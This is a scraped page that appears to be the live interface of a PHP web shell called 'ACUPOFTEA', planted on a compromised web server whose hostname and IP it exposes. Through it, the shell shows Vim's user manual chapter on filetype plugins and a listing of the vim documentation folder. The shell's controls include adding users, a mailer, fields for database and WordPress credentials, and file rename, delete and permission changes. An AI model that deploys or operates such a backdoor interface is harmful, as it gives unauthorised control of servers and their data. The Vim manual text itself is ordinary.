System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
vim
/
vim80
/
doc
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
usr_43.txt
*usr_43.txt* For Vim version 8.0. Last change: 2015 Oct 23 VIM USER MANUAL - by Bram Moolenaar Using filetypes When you are editing a file of a certain type, for example a C program or a shell script, you often use the same option settings and mappings. You quickly get tired of manually setting these each time. This chapter explains how to do it automatically. |43.1| Plugins for a filetype |43.2| Adding a filetype Next chapter: |usr_44.txt| Your own syntax highlighted Previous chapter: |usr_42.txt| Add new menus Table of contents: |usr_toc.txt| ============================================================================== *43.1* Plugins for a filetype *filetype-plugin* How to start using filetype plugins has already been discussed here: |add-filetype-plugin|. But you probably are not satisfied with the default settings, because they have been kept minimal. Suppose that for C files you want to set the 'softtabstop' option to 4 and define a mapping to insert a three-line comment. You do this with only two steps: *your-runtime-dir* 1. Create your own runtime directory. On Unix this usually is "~/.vim". In this directory create the "ftplugin" directory: > mkdir ~/.vim mkdir ~/.vim/ftplugin < When you are not on Unix, check the value of the 'runtimepath' option to see where Vim will look for the "ftplugin" directory: > set runtimepath < You would normally use the first directory name (before the first comma). You might want to prepend a directory name to the 'runtimepath' option in your |vimrc| file if you don't like the default value. 2. Create the file "~/.vim/ftplugin/c.vim", with the contents: > setlocal softtabstop=4 noremap <buffer> <LocalLeader>c o/**************<CR><CR>/<Esc> let b:undo_ftplugin = "setl softtabstop< | unmap <buffer> <LocalLeader>c" Try editing a C file. You should notice that the 'softtabstop' option is set to 4. But when you edit another file it's reset to the default zero. That is because the ":setlocal" command was used. This sets the 'softtabstop' option only locally to the buffer. As soon as you edit another buffer, it will be set to the value set for that buffer. For a new buffer it will get the default value or the value from the last ":set" command. Likewise, the mapping for "\c" will disappear when editing another buffer. The ":map <buffer>" command creates a mapping that is local to the current buffer. This works with any mapping command: ":map!", ":vmap", etc. The |<LocalLeader>| in the mapping is replaced with the value of the "maplocalleader" variable. The line to set b:undo_ftplugin is for when the filetype is set to another value. In that case you will want to undo your preferences. The b:undo_ftplugin variable is executed as a command. Watch out for characters with a special meaning inside a string, such as a backslash. You can find examples for filetype plugins in this directory: > $VIMRUNTIME/ftplugin/ More details about writing a filetype plugin can be found here: |write-plugin|. ============================================================================== *43.2* Adding a filetype If you are using a type of file that is not recognized by Vim, this is how to get it recognized. You need a runtime directory of your own. See |your-runtime-dir| above. Create a file "filetype.vim" which contains an autocommand for your filetype. (Autocommands were explained in section |40.3|.) Example: > augroup filetypedetect au BufNewFile,BufRead *.xyz setf xyz augroup END This will recognize all files that end in ".xyz" as the "xyz" filetype. The ":augroup" commands put this autocommand in the "filetypedetect" group. This allows removing all autocommands for filetype detection when doing ":filetype off". The "setf" command will set the 'filetype' option to its argument, unless it was set already. This will make sure that 'filetype' isn't set twice. You can use many different patterns to match the name of your file. Directory names can also be included. See |autocmd-patterns|. For example, the files under "/usr/share/scripts/" are all "ruby" files, but don't have the expected file name extension. Adding this to the example above: > augroup filetypedetect au BufNewFile,BufRead *.xyz setf xyz au BufNewFile,BufRead /usr/share/scripts/* setf ruby augroup END However, if you now edit a file /usr/share/scripts/README.txt, this is not a ruby file. The danger of a pattern ending in "*" is that it quickly matches too many files. To avoid trouble with this, put the filetype.vim file in another directory, one that is at the end of 'runtimepath'. For Unix for example, you could use "~/.vim/after/filetype.vim". You now put the detection of text files in ~/.vim/filetype.vim: > augroup filetypedetect au BufNewFile,BufRead *.txt setf text augroup END That file is found in 'runtimepath' first. Then use this in ~/.vim/after/filetype.vim, which is found last: > augroup filetypedetect au BufNewFile,BufRead /usr/share/scripts/* setf ruby augroup END What will happen now is that Vim searches for "filetype.vim" files in each directory in 'runtimepath'. First ~/.vim/filetype.vim is found. The autocommand to catch *.txt files is defined there. Then Vim finds the filetype.vim file in $VIMRUNTIME, which is halfway 'runtimepath'. Finally ~/.vim/after/filetype.vim is found and the autocommand for detecting ruby files in /usr/share/scripts is added. When you now edit /usr/share/scripts/README.txt, the autocommands are checked in the order in which they were defined. The *.txt pattern matches, thus "setf text" is executed to set the filetype to "text". The pattern for ruby matches too, and the "setf ruby" is executed. But since 'filetype' was already set to "text", nothing happens here. When you edit the file /usr/share/scripts/foobar the same autocommands are checked. Only the one for ruby matches and "setf ruby" sets 'filetype' to ruby. RECOGNIZING BY CONTENTS If your file cannot be recognized by its file name, you might be able to recognize it by its contents. For example, many script files start with a line like: #!/bin/xyz ~ To recognize this script create a file "scripts.vim" in your runtime directory (same place where filetype.vim goes). It might look like this: > if did_filetype() finish endif if getline(1) =~ '^#!.*[/\\]xyz\>' setf xyz endif The first check with did_filetype() is to avoid that you will check the contents of files for which the filetype was already detected by the file name. That avoids wasting time on checking the file when the "setf" command won't do anything. The scripts.vim file is sourced by an autocommand in the default filetype.vim file. Therefore, the order of checks is: 1. filetype.vim files before $VIMRUNTIME in 'runtimepath' 2. first part of $VIMRUNTIME/filetype.vim 3. all scripts.vim files in 'runtimepath' 4. remainder of $VIMRUNTIME/filetype.vim 5. filetype.vim files after $VIMRUNTIME in 'runtimepath' If this is not sufficient for you, add an autocommand that matches all files and sources a script or executes a function to check the contents of the file. ============================================================================== Next chapter: |usr_44.txt| Your own syntax highlighted Copyright: see |manual-copyright| vim:tw=78:ts=8:ft=help:norl:
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
..
DIR
-
drwxr-xr-x
2025-10-13 10:57:17
arabic.txt
text/plain
11.66 KB
-rw-r--r--
2025-10-12 12:23:12
autocmd.txt
text/plain
63.87 KB
-rw-r--r--
2025-10-12 12:23:12
change.txt
text/plain
73.12 KB
-rw-r--r--
2025-10-12 12:23:12
channel.txt
text/plain
30.1 KB
-rw-r--r--
2025-10-12 12:23:12
cmdline.txt
text/plain
46.17 KB
-rw-r--r--
2025-10-12 12:23:12
debug.txt
text/plain
7.01 KB
-rw-r--r--
2025-10-12 12:23:12
debugger.txt
text/plain
5.61 KB
-rw-r--r--
2025-10-12 12:23:12
develop.txt
text/plain
21.82 KB
-rw-r--r--
2025-10-12 12:23:12
diff.txt
text/plain
16.14 KB
-rw-r--r--
2025-10-12 12:23:12
digraph.txt
text/plain
60.67 KB
-rw-r--r--
2025-10-12 12:23:12
editing.txt
text/plain
71.46 KB
-rw-r--r--
2025-10-12 12:23:12
eval.txt
text/plain
434.04 KB
-rw-r--r--
2025-10-12 12:23:12
farsi.txt
text/plain
9.48 KB
-rw-r--r--
2025-10-12 12:23:12
filetype.txt
text/plain
25.33 KB
-rw-r--r--
2025-10-12 12:23:12
fold.txt
text/plain
23.14 KB
-rw-r--r--
2025-10-12 12:23:12
ft_ada.txt
text/plain
17.82 KB
-rw-r--r--
2025-10-12 12:23:12
ft_rust.txt
text/plain
9.3 KB
-rw-r--r--
2025-10-12 12:23:12
ft_sql.txt
text/plain
29.97 KB
-rw-r--r--
2025-10-12 12:23:12
gui.txt
text/plain
44.52 KB
-rw-r--r--
2025-10-12 12:23:12
gui_w32.txt
text/plain
18.47 KB
-rw-r--r--
2025-10-12 12:23:12
gui_x11.txt
text/plain
28.79 KB
-rw-r--r--
2025-10-12 12:23:12
hangulin.txt
text/plain
3.21 KB
-rw-r--r--
2025-10-12 12:23:12
hebrew.txt
text/plain
5.58 KB
-rw-r--r--
2025-10-12 12:23:12
help.txt
text/plain
8.38 KB
-rw-r--r--
2025-10-12 12:23:12
helphelp.txt
text/plain
14 KB
-rw-r--r--
2025-10-12 12:23:12
howto.txt
text/plain
2.84 KB
-rw-r--r--
2025-10-12 12:23:12
if_cscop.txt
text/plain
18.91 KB
-rw-r--r--
2025-10-12 12:23:12
if_lua.txt
text/plain
14.3 KB
-rw-r--r--
2025-10-12 12:23:12
if_mzsch.txt
text/plain
11.55 KB
-rw-r--r--
2025-10-12 12:23:12
if_ole.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
if_perl.txt
text/plain
10.89 KB
-rw-r--r--
2025-10-12 12:23:12
if_pyth.txt
text/x-script.python
37.05 KB
-rw-r--r--
2025-10-12 12:23:12
if_ruby.txt
text/x-ruby
7.83 KB
-rw-r--r--
2025-10-12 12:23:12
if_sniff.txt
text/plain
266 B
-rw-r--r--
2025-10-12 12:23:12
if_tcl.txt
text/plain
22.49 KB
-rw-r--r--
2025-10-12 12:23:12
indent.txt
text/plain
38.5 KB
-rw-r--r--
2025-10-12 12:23:12
index.txt
text/plain
74.65 KB
-rw-r--r--
2025-10-12 12:23:12
insert.txt
text/plain
81.21 KB
-rw-r--r--
2025-10-12 12:23:12
intro.txt
text/plain
38.31 KB
-rw-r--r--
2025-10-12 12:23:12
map.txt
text/plain
63.15 KB
-rw-r--r--
2025-10-12 12:23:12
mbyte.txt
text/plain
57.92 KB
-rw-r--r--
2025-10-12 12:23:12
message.txt
text/plain
30.5 KB
-rw-r--r--
2025-10-12 12:23:12
mlang.txt
text/plain
7.67 KB
-rw-r--r--
2025-10-12 12:23:12
motion.txt
text/plain
50.39 KB
-rw-r--r--
2025-10-12 12:23:12
netbeans.txt
text/plain
36.13 KB
-rw-r--r--
2025-10-12 12:23:12
options.txt
text/plain
378.02 KB
-rw-r--r--
2025-10-12 12:23:12
os_390.txt
text/plain
4.64 KB
-rw-r--r--
2025-10-12 12:23:12
os_amiga.txt
text/plain
5.33 KB
-rw-r--r--
2025-10-12 12:23:12
os_beos.txt
text/plain
10.73 KB
-rw-r--r--
2025-10-12 12:23:12
os_dos.txt
text/plain
11.74 KB
-rw-r--r--
2025-10-12 12:23:12
os_mac.txt
text/plain
6.69 KB
-rw-r--r--
2025-10-12 12:23:12
os_mint.txt
text/plain
1.37 KB
-rw-r--r--
2025-10-12 12:23:12
os_msdos.txt
text/plain
518 B
-rw-r--r--
2025-10-12 12:23:12
os_os2.txt
text/plain
294 B
-rw-r--r--
2025-10-12 12:23:12
os_qnx.txt
text/plain
3.98 KB
-rw-r--r--
2025-10-12 12:23:12
os_risc.txt
text/plain
323 B
-rw-r--r--
2025-10-12 12:23:12
os_unix.txt
text/plain
2.53 KB
-rw-r--r--
2025-10-12 12:23:12
os_vms.txt
text/plain
31.35 KB
-rw-r--r--
2025-10-12 12:23:12
os_win32.txt
text/plain
13.04 KB
-rw-r--r--
2025-10-12 12:23:12
pattern.txt
text/plain
57.93 KB
-rw-r--r--
2025-10-12 12:23:12
pi_getscript.txt
text/plain
20.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_gzip.txt
text/plain
1.29 KB
-rw-r--r--
2025-10-12 12:23:12
pi_logipat.txt
text/plain
4.09 KB
-rw-r--r--
2025-10-12 12:23:12
pi_netrw.txt
text/plain
171.44 KB
-rw-r--r--
2025-10-12 12:23:12
pi_paren.txt
text/plain
2.22 KB
-rw-r--r--
2025-10-12 12:23:12
pi_spec.txt
text/plain
4.03 KB
-rw-r--r--
2025-10-12 12:23:12
pi_tar.txt
text/plain
6.08 KB
-rw-r--r--
2025-10-12 12:23:12
pi_vimball.txt
text/plain
11.58 KB
-rw-r--r--
2025-10-12 12:23:12
pi_zip.txt
text/plain
6.87 KB
-rw-r--r--
2025-10-12 12:23:12
print.txt
text/plain
30.43 KB
-rw-r--r--
2025-10-12 12:23:12
quickfix.txt
text/plain
67.4 KB
-rw-r--r--
2025-10-12 12:23:12
quickref.txt
text/plain
69.59 KB
-rw-r--r--
2025-10-12 12:23:12
quotes.txt
text/plain
12.44 KB
-rw-r--r--
2025-10-12 12:23:12
recover.txt
text/plain
10.44 KB
-rw-r--r--
2025-10-12 12:23:12
remote.txt
text/plain
8.22 KB
-rw-r--r--
2025-10-12 12:23:12
repeat.txt
text/plain
38.65 KB
-rw-r--r--
2025-10-12 12:23:12
rileft.txt
text/plain
4.86 KB
-rw-r--r--
2025-10-12 12:23:12
russian.txt
text/plain
3.02 KB
-rw-r--r--
2025-10-12 12:23:12
scroll.txt
text/plain
13.74 KB
-rw-r--r--
2025-10-12 12:23:12
sign.txt
text/plain
6.73 KB
-rw-r--r--
2025-10-12 12:23:12
spell.txt
text/plain
61.31 KB
-rw-r--r--
2025-10-12 12:23:12
sponsor.txt
text/plain
7.03 KB
-rw-r--r--
2025-10-12 12:23:12
starting.txt
text/plain
71.9 KB
-rw-r--r--
2025-10-12 12:23:12
syntax.txt
text/plain
212.37 KB
-rw-r--r--
2025-10-12 12:23:12
tabpage.txt
text/plain
16.33 KB
-rw-r--r--
2025-10-12 12:23:12
tags
text/plain
320.95 KB
-rw-r--r--
2025-10-12 12:23:12
tagsrch.txt
text/plain
35.78 KB
-rw-r--r--
2025-10-12 12:23:12
term.txt
text/plain
44.35 KB
-rw-r--r--
2025-10-12 12:23:12
terminal.txt
text/plain
32.78 KB
-rw-r--r--
2025-10-12 12:23:12
tips.txt
text/plain
20.07 KB
-rw-r--r--
2025-10-12 12:23:12
todo.txt
text/plain
289.32 KB
-rw-r--r--
2025-10-12 12:23:12
uganda.txt
text/plain
13.7 KB
-rw-r--r--
2025-10-12 12:23:12
undo.txt
text/plain
16.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_01.txt
text/plain
6.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_02.txt
text/plain
23.77 KB
-rw-r--r--
2025-10-12 12:23:12
usr_03.txt
text/plain
23.05 KB
-rw-r--r--
2025-10-12 12:23:12
usr_04.txt
text/plain
18.63 KB
-rw-r--r--
2025-10-12 12:23:12
usr_05.txt
text/plain
23.27 KB
-rw-r--r--
2025-10-12 12:23:12
usr_06.txt
text/plain
9.36 KB
-rw-r--r--
2025-10-12 12:23:12
usr_07.txt
text/plain
15.61 KB
-rw-r--r--
2025-10-12 12:23:12
usr_08.txt
text/plain
18.92 KB
-rw-r--r--
2025-10-12 12:23:12
usr_09.txt
text/plain
11.18 KB
-rw-r--r--
2025-10-12 12:23:12
usr_10.txt
text/plain
28.5 KB
-rw-r--r--
2025-10-12 12:23:12
usr_11.txt
text/plain
12.32 KB
-rw-r--r--
2025-10-12 12:23:12
usr_12.txt
text/plain
13.11 KB
-rw-r--r--
2025-10-12 12:23:12
usr_20.txt
text/plain
13.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_21.txt
text/plain
17.94 KB
-rw-r--r--
2025-10-12 12:23:12
usr_22.txt
text/plain
13.96 KB
-rw-r--r--
2025-10-12 12:23:12
usr_23.txt
text/plain
12.29 KB
-rw-r--r--
2025-10-12 12:23:12
usr_24.txt
text/plain
20.38 KB
-rw-r--r--
2025-10-12 12:23:12
usr_25.txt
text/plain
18.67 KB
-rw-r--r--
2025-10-12 12:23:12
usr_26.txt
text/plain
8.06 KB
-rw-r--r--
2025-10-12 12:23:12
usr_27.txt
text/plain
17.31 KB
-rw-r--r--
2025-10-12 12:23:12
usr_28.txt
text/plain
15.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_29.txt
text/plain
19.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_30.txt
text/x-c
22.13 KB
-rw-r--r--
2025-10-12 12:23:12
usr_31.txt
text/plain
10.15 KB
-rw-r--r--
2025-10-12 12:23:12
usr_32.txt
text/plain
5.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_40.txt
text/plain
22.64 KB
-rw-r--r--
2025-10-12 12:23:12
usr_41.txt
text/plain
87.21 KB
-rw-r--r--
2025-10-12 12:23:12
usr_42.txt
text/plain
13.47 KB
-rw-r--r--
2025-10-12 12:23:12
usr_43.txt
text/plain
7.23 KB
-rw-r--r--
2025-10-12 12:23:12
usr_44.txt
text/plain
28.53 KB
-rw-r--r--
2025-10-12 12:23:12
usr_45.txt
text/plain
17.49 KB
-rw-r--r--
2025-10-12 12:23:12
usr_90.txt
text/plain
17.25 KB
-rw-r--r--
2025-10-12 12:23:12
usr_toc.txt
text/plain
9 KB
-rw-r--r--
2025-10-12 12:23:12
various.txt
text/plain
28.18 KB
-rw-r--r--
2025-10-12 12:23:12
version4.txt
text/plain
13.58 KB
-rw-r--r--
2025-10-12 12:23:12
version5.txt
text/plain
301.31 KB
-rw-r--r--
2025-10-12 12:23:12
version6.txt
text/plain
563.53 KB
-rw-r--r--
2025-10-12 12:23:12
version7.txt
text/plain
658.95 KB
-rw-r--r--
2025-10-12 12:23:12
version8.txt
text/plain
668.21 KB
-rw-r--r--
2025-10-12 12:23:12
vi_diff.txt
text/plain
41.81 KB
-rw-r--r--
2025-10-12 12:23:12
visual.txt
text/plain
21.33 KB
-rw-r--r--
2025-10-12 12:23:12
windows.txt
text/plain
51.79 KB
-rw-r--r--
2025-10-12 12:23:12
workshop.txt
text/plain
4.52 KB
-rw-r--r--
2025-10-12 12:23:12
~ ACUPOFTEA - accounting.gulfstore-gcc.com